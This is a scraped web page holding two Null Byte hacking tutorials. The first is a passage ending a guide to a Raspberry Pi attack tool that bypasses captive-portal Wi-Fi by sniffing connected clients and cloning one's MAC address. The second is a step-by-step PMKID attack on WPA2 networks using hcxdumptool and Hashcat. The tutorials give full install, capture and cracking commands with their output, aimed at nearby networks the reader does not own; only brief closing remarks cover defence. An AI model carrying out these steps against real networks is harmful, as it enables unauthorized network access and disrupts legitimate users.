normally, or if there's an issue such as an infinite reboot loop or error message.If the device is stuck in an infinite loop of rebooting, or you get an error message reading "link wlan0 is not ready" for eternity, there may be a problem with the drivers related to your particular wireless network adapter. If you have another wireless adapter available, try switching to that card.Otherwise, try unplugging the card and booting The Sonic up without the external interface. Once the Pi boots successfully, check to see if the driver for your wireless card is installed. You can find out what drivers are installed by typing the following.lspci | grep -i wirelessIf the driver for your wireless card is not installed, the steps for installation vary. Visit the manufacturer's website for steps on how to install the drivers necessary for Debian Linux.If the Pi boots up successfully, but you can't see an access point called "The Sonic," try connecting a keyboard and running the following.ifconfigCheck see if both Wi-Fi cards are detected, and if an interface named "wap0" is present. If you can't find an interface named "wap0," type the following./var/www/html/scripts/ifaceChecker.pyThis will run the script that checks the current state of the Raspberry Pi's built-in Wi-Fi interface. If it can't find the interface, there may be a problem with the built-in Wi-Fi card on your Raspberry Pi.In that case, try using a second Raspberry Pi if you're lucky enough to have another one around, or double-check the Wi-Fi card with a different Raspberry Pi image such asRaspbianand a monitor.Don't Miss:Set Up a Fake SMB Server to Capture Domain PasswordsIf none of the above seem to help, there may have been a mistake when you first imaged your SD card. Try re-imaging the card as well. You can also look at the documentation on the websitehere.Step 5: Using the SonicOnce we're connected, the world is our oyster! Well, at least the parts of the world with serious security flaws. Before we do anything though, we're going to want to connect to Wi-Fi, since the current connection will not serve data to our phone or Pi. Thankfully, The Sonic has a built-in web application that makes those sort of otherwise tedious terminal tasks very trivial.By default, the web application is located at 192.168.8.1. Just punch that address into the browser on your smartphone, and you'll be greeted by a prompt for a username, and then a password. By default, the username issonicand the password ispassword.Here, we log in to the Sonic Pi web application.Once you've done that, the main menu will come up as seen on the left-hand side below. The menu design is definitely basic, but it's to the point. By tapping "Wifi Manager," we can quickly list Wi-Fi points around us (seen on the right-hand side).In The Sonic web app, the main menu (left) and the Wifi Manager (right). The AP names have been hidden for privacy.The access points we see are listed by signal strength. In this example, all of the access points with "(Open)" are a part of a Wi-Fi network that doesn't have a password, but requires authentication via a web portal to use.Unfortunately we don't have credentials. However being the smart hackers we are we, we can still get access anyway.Step 6: Gaining Access to a NetworkIn order to bypass the web-based authentication for this network, we first need to understand how the authentication keeps track of its users. Just like certain websites use cookies to pre-authenticate users who have already logged in, these types of networks log the MAC addresses of clients to keep track of whether a device is authorized or not.So what we need to do is find the MAC address of a client already connected. The Sonic makes this process incredibly easy for us. If we hop back into the web app, we can find some pretty nifty features.In the Wifi Manager, let's tap on the button for the network we are trying to hack into. We'll be greeted with a screen similar to the one on the left below. Here we see a couple options: We can either connect to the network or do some wireless sniffing and see all of the clients connected to the network. Of course, we want to snoop, so we tap "List Connected Devices."Upon tapping this button, the Sonic will open a new tab that will start scanning for connected devices. Basically, a background process running Airodump-ng fromthe Aircrack-ng suitewill process the output and show us the results. This process takes about 33 seconds to load, so you'll have to be patient.This feature is currently the only one that doesn't work in the Safari browser. Safari doesn't support the new tab JavaScript function the Sonic uses. Plans are in place to extend support to Safari once additional features have been implemented.Step 7: Changing Our MAC AddressOnce the web app has finished loading, we'll be presented with a list of client MAC addresses. By simply tapping one, we'll be sent to theMAC Changerpage where all of the necessary data will have been sent to assign our device this new MAC address. Now, all we have to do is go back to the Wifi Manager and connect to the point. We're in like Flynn!It is worth noting that by doing this, you will most likely disrupt the service of whoever the device you are masquerading as belongs to. With this in mind, the attack isn't exactly stealthy.Don't Miss:How to Seize Control of a Router with RouterSploitBut putting that aside, now that we can connect to the network, there really isn't much we can't do. The Sonic is set up to route its built-in Wi-Fi access point through the access point it's just connected to in order to connect to the internet. This means you can still access the internet from your phone, once The Sonic is connected to a nearby access point.From here, we have the ability to sniff local traffic, spoof a DNS server, run exploits on network devices, and just about anything else you could do from a Kali Linux laptop or desktop. The beauty of The Sonic is how portable and stealthy the device is.Get Started & Unleash Your Inner HackerAgain, while the project is still very new, the foundations of The Sonic make it a plug-and-play hacking tool like no other. The Sonic is being actively maintained right now, and new features are being added to the web app to make it much more intuitive and convenient to use.If you want to be able to wield The Sonic to its full potential, you'll have to first master Kali Linux. Keep scrolling through Null Byte and drinking in all of the hacking goodness we have here!Feel free to comment below with questions or contact me on Twitter@xAllegiance.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null ByteScreenshots by allegiance/Null ByteRelatedNews:How-to-Draw-Sonic-the-hedgehog89Review:Sonic the Hedgehog on Mobile Is a Fun Throwback, with More Than a Few HeadachesHow To:Install a Sega Genesis emulator on an HTC Evo 4G phoneHow To:Can't Pick Up the Weapon You Want in PUBG? Turn Off This SettingHow To:This App Gives You Android 9.0 Pie's Auto-Rotate Button on Older VersionsReview:Altered Beast β€” The Standard for Porting Games to MobileNews:Privacy Under Threat as More Android Apps Eavesdrop on AdsHow To:Hack a Hard Drive into a Hidden Flash Drive, Cell Phone Charger & More!How To:4 Ways to Get Your Fortnite Fix While You Wait for the Official Game on AndroidHow To:Double Tap Your Status Bar to Quickly Turn Off the Screen on Any Android β€” No Root NeededNews:Jack in the Box Partners with Paramount to Promote 'Sonic the Hedgehog' Movie with Snapchat ARHow To:Draw SonicHow To:Draw Rouge the Bat (Sonic)How To:Walkthrough the side-scrolling video game Sonic the Hedgehog 4How To:Hack a cell phone to make free phone callsHow To:Make the Sonic The Hedgehog logo Call of Duty Black Ops emblemGaming:The 9 Best Paid Action Games for Android & iPhoneHow To:Draw Super Shadow from Sonic the HedgehogHow To:Do Power Drift achievement in Sonic & Sega All-StarsNews:Scientists Solve Smartphone Glare Problem by Imitating the Eyes of MothsHow To:5 Simple Ways to Add a Macro Lens to Your SmartphoneHow To:Enable Dark Mode in Google's Contacts App for AndroidHow To:Boot Your Galaxy S8 or S8+ into Recovery Mode or Download ModeHow To:Remote Control Anything with a DIY Sonic Screwdriver and Light SensorsNews:sonic the mellow walkthroughNews:Turn Your Lap Dog Into a WeaponSUBMIT:Your Favorite Completed DIY Project by August 8th. WIN: How-To Book, Mini Weapons of Mass Destruction [Closed]News:2 DIY Projects from John Austin's Mini Weapons of Mass DestructionNews:Festival - Matador at 21 Las Vegas Lineup RevealedNews:Aisha Tyler introduces the new Halo Reach BetaNews:Weapons Spread Sheet Mobsters2Nintendo E3:3DS, Kid Icarus!News:Self building village in MinecraftNews:3 Ultra-Cheap DIY Macro Photography HacksHow To:Make These Sonic Distance Sensors for the Bad Driver in Your LifeNews:Introduction Into the Game!News:***Where to get *GUNS*EXPLOSIVES* From Mission's***News:Forbidden LEGO Gun BookNews:Iran can make nuclear weapons - but won't, says top politicianSUBMIT NOW:A Collection of Amazing Videos to Inspire This Week's Flipbook Challenge
How to Hack Wi-Fi: Cracking WPA2 Passwords Using the New PMKID Hashcat Attack Β« Null Byte :: WonderHowTo
Cracking the password for WPA2 networks has been roughly the same for many years, but a newer attack requires less interaction and info than previous techniques and has the added advantage of being able to target access points with no one connected. The latest attack against the PMKID uses Hashcat to crack WPA passwords and allows hackers to find networks with weak passwords more easily.The Old Way to Crack WPA2 PasswordsThe old way of cracking WPA2 has been around quite some time and involves momentarilydisconnecting a connected devicefrom the access point we want to try to crack. That has two downsides, which are essential for Wi-Fi hackers to understand.The first downside is the requirement that someone is connected to the network to attack it. The network password might be weak and very easy to break, but without a device connected to kick off briefly, there is no opportunity to capture a handshake, thus no chance to try cracking it.Don't Miss:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust AttackThe second downside of this tactic is that it's noisy and legally troubling in that it forces you to send packets that deliberately disconnect an authorized user for a service they are paying to use. This kind of unauthorized interference is technically a denial-of-service attack and, if sustained, is equivalent to jamming a network. It can get you into trouble and is easily detectable by some of our previous guides.A New Method of Password CrackingRather than relying on intercepting two-way communications between Wi-Fi devices to try cracking the password, an attacker can communicate directly with a vulnerable access point using the new method. On Aug. 4, 2018, apost on the Hashcat forumdetailed a new technique leveraging an attack against the RSN IE (Robust Security Network Information Element) of a single EAPOL frame to capture the needed information to attempt a brute-force attack.Similar to the previous attacks against WPA, the attacker must be in proximity to the network they wish to attack. The objective will be to use aKali-compatible wireless network adapterto capture the information needed from the network to try brute-forcing the password. Rather than using Aireplay-ng or Aircrack-ng, we'll be using a new wireless attack tool to do thiscalled hcxtools.Don't Miss:Select a Field-Tested Kali Linux Compatible Wireless AdapterUsing Hcxtools & HashcatHcxdumptool and hcxpcaptool are tools written for Wi-Fi auditing and penetration testing, and they allow us to interact with nearby Wi-Fi networks to capture WPA handshakes and PMKID hashes. It works similar toBesside-ngin that it requires minimal arguments to start an attack from the command line, can be run against either specific targets or targets of convenience, and can be executed quickly over SSH on aRaspberry Pior another device without a screen.Once the PMKID is captured, the next step is to load the hash intoHashcatand attempt to crack the password. This is where hcxtools differs from Besside-ng, in that a conversion step is required to prepare the file for Hashcat. We'll use hcxpcaptool to convert our PCAPNG file into one Hashcat can work with, leaving only the step of selecting a robust list of passwords for your brute-forcing attempts.Don't Miss:How to Automate Wi-Fi Hacking with Besside-ngIt's worth mentioning that not every network is vulnerable to this attack. Because this is an optional field added by some manufacturers, you should not expect universal success with this technique. Whether you can capture the PMKID depends on if the manufacturer of the access point did you the favor of including an element that includes it, and whether you can crack the captured PMKID depends on if the underlying password is contained in your brute-force password list. If either condition is not met, this attack will fail.What You'll NeedTo try this attack, you'll need to be runningKali Linuxand have access to awireless network adapterthat supports monitor mode and packet injection. We have several guides about selecting a compatible wireless network adapter below.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi HackingAside from aKali-compatible network adapter, make sure that you've fully updated and upgraded your system. If you don't, some packages can be out of date and cause issues while capturing.Recommended:The Alfa AWUS036NHA 2.4 GHzStep 1: Install Hxctools & HashcatFirst, we'll install the tools we need. To download them, type the following into a terminal window.~# git clone https://github.com/ZerBea/hcxdumptool.git Cloning into 'hcxdumptool'... remote: Enumerating objects: 133, done. remote: Counting objects: 100% (133/133), done. remote: Compressing objects: 100% (97/97), done. remote: Total 2127 (delta 82), reused 76 (delta 36), pack-reused 1994 Receiving objects: 100% (2127/2127), 759.53 KiB | 1.79 MiB/s, done. Resolving deltas: 100% (1434/1434), done.Then, change into the directory and finish the installation withmakeand thenmake install.~# cd hcxdumptool ~/hcxdumptool# make cc -O3 -Wall -Wextra -std=gnu99 -o hcxpioff hcxpioff.c cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lcrypto ~/hcxdumptool# make install cc -O3 -Wall -Wextra -std=gnu99 -o hcxpioff hcxpioff.c cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lcrypto install -m 0755 -D hcxpioff /usr/local/bin/hcxpioff install -m 0755 -D hcxdumptool /usr/local/bin/hcxdumptool rm -f hcxpioff rm -f hcxdumptool rm -f *.o *~When it finishes installing, we'll move onto installing hxctools. To do so, open a new terminal window or leave the /hexdumptool directory, then install hxctools.~/hcxdumptool#cd ~# git clone https://github.com/ZerBea/hcxtools.git Cloning into 'hcxtools'... remote: Enumerating objects: 120, done. remote: Counting objects: 100% (120/120), done. remote: Compressing objects: 100% (82/82), done. remote: Total 6196 (delta 77), reused 79 (delta 38), pack-reused 6076 Receiving objects: 100% (6196/6196), 1.89 MiB | 5.02 MiB/s, done. Resolving deltas: 100% (4320/4320), done.Next, change into its directory and runmakeandmake installlike before. If you get an error, try typingsudobefore the command.~# cd hcxtools ~/hcxtools# make mkdir -p .deps cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcapngtool.d -o hcxpcapngtool hcxpcapngtool.c -lz -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashtool.d -o hcxhashtool hcxhashtool.c -lcrypto -lcurl cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpsktool.d -o hcxpsktool hcxpsktool.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxwltool.d -o hcxwltool hcxwltool.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancap2wpasec.d -o wlancap2wpasec wlancap2wpasec.c -lcurl cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/whoismac.d -o whoismac whoismac.c -lcurl cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpmkidtool.d -o hcxpmkidtool hcxpmkidtool.c -lcrypto -lpthread cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2john.d -o wlanhcx2john wlanhcx2john.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcaptool.d -o hcxpcaptool hcxpcaptool.c -lz -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashcattool.d -o hcxhashcattool hcxhashcattool.c -lcrypto -lpthread cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxmactool.d -o hcxmactool hcxmactool.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxessidtool.d -o hcxessidtool hcxessidtool.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhash2cap.d -o hcxhash2cap hcxhash2cap.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhc2hcx.d -o wlanhc2hcx wlanhc2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanwkp2hcx.d -o wlanwkp2hcx wlanwkp2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxinfo.d -o wlanhcxinfo wlanhcxinfo.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2ssid.d -o wlanhcx2ssid wlanhcx2ssid.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxcat.d -o wlanhcxcat wlanhcxcat.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanpmk2hcx.d -o wlanpmk2hcx wlanpmk2hcx.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanjohn2hcx.d -o wlanjohn2hcx wlanjohn2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancow2hcxpmk.d -o wlancow2hcxpmk wlancow2hcxpmk.c ~/hcxtools# make install install -m 0755 -D hcxpcapngtool /usr/local/bin/hcxpcapngtool install -m 0755 -D hcxhashtool /usr/local/bin/hcxhashtool install -m 0755 -D hcxpsktool /usr/local/bin/hcxpsktool install -m 0755 -D hcxwltool /usr/local/bin/hcxwltool install -m 0755 -D wlancap2wpasec /usr/local/bin/wlancap2wpasec install -m 0755 -D whoismac /usr/local/bin/whoismac install -m 0755 -D hcxpmkidtool /usr/local/bin/hcxpmkidtool install -m 0755 -D wlanhcx2john /usr/local/bin/wlanhcx2john install -m 0755 -D hcxpcaptool /usr/local/bin/hcxpcaptool install -m 0755 -D hcxhashcattool /usr/local/bin/hcxhashcattool install -m 0755 -D hcxmactool /usr/local/bin/hcxmactool install -m 0755 -D hcxessidtool /usr/local/bin/hcxessidtool install -m 0755 -D hcxhash2cap /usr/local/bin/hcxhash2cap install -m 0755 -D wlanhc2hcx /usr/local/bin/wlanhc2hcx install -m 0755 -D wlanwkp2hcx /usr/local/bin/wlanwkp2hcx install -m 0755 -D wlanhcxinfo /usr/local/bin/wlanhcxinfo install -m 0755 -D wlanhcx2ssid /usr/local/bin/wlanhcx2ssid install -m 0755 -D wlanhcxcat /usr/local/bin/wlanhcxcat install -m 0755 -D wlanpmk2hcx /usr/local/bin/wlanpmk2hcx install -m 0755 -D wlanjohn2hcx /usr/local/bin/wlanjohn2hcx install -m 0755 -D wlancow2hcxpmk /usr/local/bin/wlancow2hcxpmkFinally, we'll need to install Hashcat, which should be easy, as it's included in the Kali Linux repo by default. Simply type the following to install the latest version of Hashcat.~/hcxtools# cd ~# apt install hashcat Reading package lists... Done Building dependency tree Reading state information... Done hashcat is already the newest version (5.1.0+ds1-1). The following packages were automatically installed and are no longer required: libdouble-conversion1 liblinear3 Use 'apt autoremove' to remove them. 0 upgraded, 0 newly installed, 0 to remove and 1863 not upgraded.With this complete, we can move on to setting up the wireless network adapter.Step 2: Prepare the Wireless Network AdapterAfter plugging in your Kali-compatible wireless network adapter, you can find the name by typingifconfigorip a. Typically, it will be named something like wlan0. The first step will be to put the card into wireless monitor mode, allowing us to listen in on Wi-Fi traffic in the immediate area.To do this, type the following command into a terminal window, substituting the name of your wireless network adapter for wlan0.~# airmon-ng start wlan0 Found 3 processes that could cause trouble Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 555 NetworkManager 611 wpa_supplicant 6636 dhclient PHY Interface Driver Chipset phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01) (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) phy1 wlan1 ath9k_htc Atheros Communications, Inc. AR9271 802.11nNow, your wireless network adapter should have a name like "wlan0mon" and be in monitor mode. You can confirm this by runningifconfigagain.Step 3: Use Hxcdump to Capture PMKIDs from Local NetworksNow we are ready to capture the PMKIDs of devices we want to try attacking. With our wireless network adapter in monitor mode as "wlan1mon," we'll execute the following command to begin the attack.~# hcxdumptool -i wlan1mon -o galleria.pcapng --enable__status=1Breaking this down,-itells the program which interface we are using, in this case, wlan1mon. The filename we'll be saving the results to can be specified with the-oflag argument. The channel we want to scan on can be indicated with the-cflag followed by the number of the channel to scan.In our command above, we're using wlan1mon to save captured PMKIDs to a file called "galleria.pcapng." While you can specify anotherstatusvalue, I haven't had success capturing with any value except1.warning: NetworkManager is running with pid 555 warning: wpa_supplicant is running with pid 611 warning: wlan1mon is probably a monitor interface start capturing (stop with ctrl+c) INTERFACE:...............: wlan1mon FILTERLIST...............: 0 entries MAC CLIENT...............: fcc233ca8bc5 MAC ACCESS POINT.........: 10ae604b9e82 (incremented on every new client) EAPOL TIMEOUT............: 150000 REPLAYCOUNT..............: 62439 ANONCE...................: d8dd2206c82ad030e843a39e8f99281e215492dbef56f693cd882d4dfcde9956 [22:17:32 - 001] c8b5adb615ea -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:32 - 001] c8b5adb615e9 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:33 - 001] 2c95694f3ca0 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:33 - 001] 2c95694f3ca0 -> b4b686abc81a [FOUND PMKID] [22:17:48 - 011] 14edbb9938ea -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:48 - 011] 88964e3a8ea0 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:49 - 011] dc7fa425888a -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:51 - 011] 88964e801fa0 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:17:57 - 001] 9822efc6fdff -> ba634d3eb80d [EAPOL 4/4 - M4 RETRY ATTACK] [22:17:57 - 001] 9822efc6fdff -> ba634d3eb80d [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 6696] [22:18:04 - 011] 803773defd01 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:19:21 - 011] 14edbb9ba0e6 -> 803773defd01 [FOUND AUTHORIZED HANDSHAKE, EAPOL TIMEOUT 15247] [22:19:34 - 006] 0618d629465b -> 58fb8433aac2 [FOUND AUTHORIZED HANDSHAKE, EAPOL TIMEOUT 2832] [22:19:42 - 005] e0220203294e -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:19:57 - 011] 14edbb9ba0e6 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:20:02 - 008] 14edbbd29326 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:20:04 - 008] 1c872c707c60 -> 78e7d17791e7 [FOUND PMKID] [22:20:11 - 009] e0220453a576 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS] [22:20:27 - 001] ace2d32602da -> c8665d5dd654 [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 5202] INFO: cha=2, rx=32752, rx(dropped)=2801, tx=2205, powned=18, err=0When you've gathered enough, you can stop the program by typingControl-Cto end the attack. This should produce a PCAPNG file containing the information we need to attempt a brute-forcing attack, but we will need to convert it into a format Hashcat can understand.Step 4: Use Hxcpcaptool to Convert the Dump for HashcatTo convert our PCAPNG file, we'll use hcxpcaptool with a few arguments specified. In the same folder that your .PCAPNG file is saved, run the following command in a terminal window.~# hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapngThis command is telling hxcpcaptool to use the information included in the file to help Hashcat understand it with the-E,-I, and-Uflags. The-Zflag is used for the name of the newly converted file for Hashcat to use, and the last part of the command is the PCAPNG file we want to convert.Running the command should show us the following.summary: -------- file name....................: galleria.pcapng file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 4.18.0-kali2-amd64 file application information.: hcxdumptool 4.2.1 network type.................: DLT_IEEE802_11_RADIO (127) endianess....................: little endian read errors..................: flawless packets inside...............: 1089 skipped packets..............: 0 packets with GPS data........: 0 packets with FCS.............: 732 beacons (with ESSID inside)..: 49 probe requests...............: 26 probe responses..............: 40 association requests.........: 103 association responses........: 204 reassociation requests.......: 2 reassocaition responses......: 7 authentications (OPEN SYSTEM): 346 authentications (BROADCOM)...: 114 authentications (APPLE)......: 1 EAPOL packets................: 304 EAPOL PMKIDs.................: 21 best handshakes..............: 4 (ap-less: 1) 21 PMKID(s) written to galleriahC.16800Here, we can see we've gathered 21 PMKIDs in a short amount of time. Now we can use the "galleriaHC.16800" file in Hashcat to try cracking network passwords.Don't Miss:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityStep 5: Select a Password List & Brute Force with HashcatTo start attacking the hashes we've captured, we'll need to pick a good password list. You can find several good password lists to get started over atthe SecList collection. Once you have a password list, put it in the same folder as the .16800 file you just converted, and then run the following command in a terminal window.~# hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'In this command, we are starting Hashcat in16800mode, which is for attacking WPA-PMKID-PBKDF2 network protocols. Next, we'll specify the name of the file we want to crack, in this case, "galleriaHC.16800." The-aflag tells us which types of attack to use, in this case, a "straight" attack, and then the-wand--kernel-accel=1flags specifies the highest performance workload profile. If your computer suffers performance issues, you can lower the number in the-wargument.Next, the--forceoption ignores any warnings to proceed with the attack, and the last part of the command specifies the password list we're using to try to brute force the PMKIDs in our file, in this case, called "topwifipass.txt."hashcat (v4.2.1) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-AMD A8-6410 APU with AMD Radeon R5 Graphics, 2553/2553 MB allocatable, 4MCU Hashes: 21 digests; 21 unique digests, 20 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Slow-Hash-SIMD-LOOP Minimum password length supported by kernel: 8 Maximum password length supported by kernel: 63 Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.1 -I OpenCL -I /usr/share/hashcat/OpenCL -D VENDOR ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=16800 -D _unroll' Dictionary cache hit: * Filename..: topwifipass.txt * Passwords.: 4801 * Bytes.....: 45277 * Keyspace..: 4801 [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>Depending on your hardware speed and the size of your password list, this can take quite some time to complete. To see the status at any time, you can press theSkey for an update.Step 6: Interpret the ResultsAs Hashcat cracks away, you'll be able to check in as it progresses to see if any keys have been recovered.Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: galleriaHC.16800 Time.Started.....: Sun Oct 28 22:32:57 2018 (7 mins, 50 secs) Time.Estimated...: Sun Oct 28 22:57:50 2018 (17 mins, 3 secs) Guess.Base.......: File (topwifipass.txt) Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 64 H/s (15.43ms) @ Accel:1 Loops:1024 Thr:1 Vec:4 Recovered........: 0/21 (0.00%) Digests, 0/20 (0.00%) Salts Progress.........: 30180/96020 (31.43%) Rejected.........: 0/30180 (0.00%) Restore.Point....: 1508/4801 (31.41%) Candidates.#1....: peter123 -> moneyman HWon.Dev.#1......: N/A [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => Session..........: hashcat Status...........: Running Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: galleriaHC.16800 Time.Started.....: Sun Oct 28 22:32:57 2018 (19 mins, 56 secs) Time.Estimated...: Sun Oct 28 22:57:54 2018 (5 mins, 3 secs) Guess.Base.......: File (topwifipass.txt) Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 64 H/s (15.24ms) @ Accel:1 Loops:1024 Thr:1 Vec:4 Recovered........: 0/21 (0.00%) Digests, 0/20 (0.00%) Salts Progress.........: 76736/96020 (79.92%) Rejected.........: 0/76736 (0.00%) Restore.Point....: 3836/4801 (79.90%) Candidates.#1....: monopoli -> mercenary HWon.Dev.#1......: N/A [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>When the password list is getting close to the end, Hashcat will automatically adjust the workload and give you a final report when it's complete.Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: hotspotcap.16800 Time.Started.....: Sun Oct 28 18:05:57 2018 (3 mins, 49 secs) Time.Estimated...: Sun Oct 28 18:09:46 2018 (0 secs) Guess.Base.......: File (topwifipass.txt) Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 42 H/s (15.56ms) @ Accel:1 Loops:1024 Thr:1 Vec:4 Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts Progress.........: 9602/9602 (100.0%) Rejected.........: 2/9602 (0.02%) Restore.Point....: 4801/4801 (100.0%) Candidates.#1....: 159159159 -> 00001111 HWon.Dev.#1......: N/A Started: Sun Oct 28 18:05:56 2018 Stopped: Sun Oct 28 18:09:49 2018If you've managed to crack any passwords, you'll see them here. In our test run, none of the PMKIDs we gathered contained passwords in our password list, thus we were unable to crack any of the hashes. This will most likely be your result too against any networks with a strong password but expect to see results here for networks using a weak password.The PMKID Hashcat Attack Makes Wi-Fi Attacks EasierWhile the new attack against Wi-Fi passwords makes it easier for hackers to attempt an attack on a target, the same methods that were effective against previous types of WPA cracking remain effective. If your network doesn't even support the robust security element containing the PMKID, this attack has no chance of success. You can audit your own network with hcxtools to see if it is susceptible to this attack.Even if your network is vulnerable,a strong passwordis still the best defense against an attacker gaining access to your Wi-Fi network using this or another password cracking attack.Because these attacks rely on guessing the password the Wi-Fi network is using, there are two common sources of guesses; The first is users pickingdefault or outrageously bad passwords, such as "12345678" or "password." These will be easily cracked. The second source of password guesses comes from data breaches thatreveal millions of real user passwords. Because many users will reuse passwords between different types of accounts, these lists tend to be very effective at cracking Wi-Fi networks.I hope you enjoyed this guide to the new PMKID-based Hashcat attack on WPA2 passwords! If you have any questions about this tutorial on Wi-Fi password cracking or you have a comment, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Null Byte's Collection of Wi-Fi Hacking GuidesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Use Hash-Identifier to Determine Hash Types for Password CrackingHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Automate Wi-Fi Hacking with Wifite2Hack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHacking macOS:How to Hack a Mac Password Without Changing ItHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Share Wi-Fi Adapters Across a 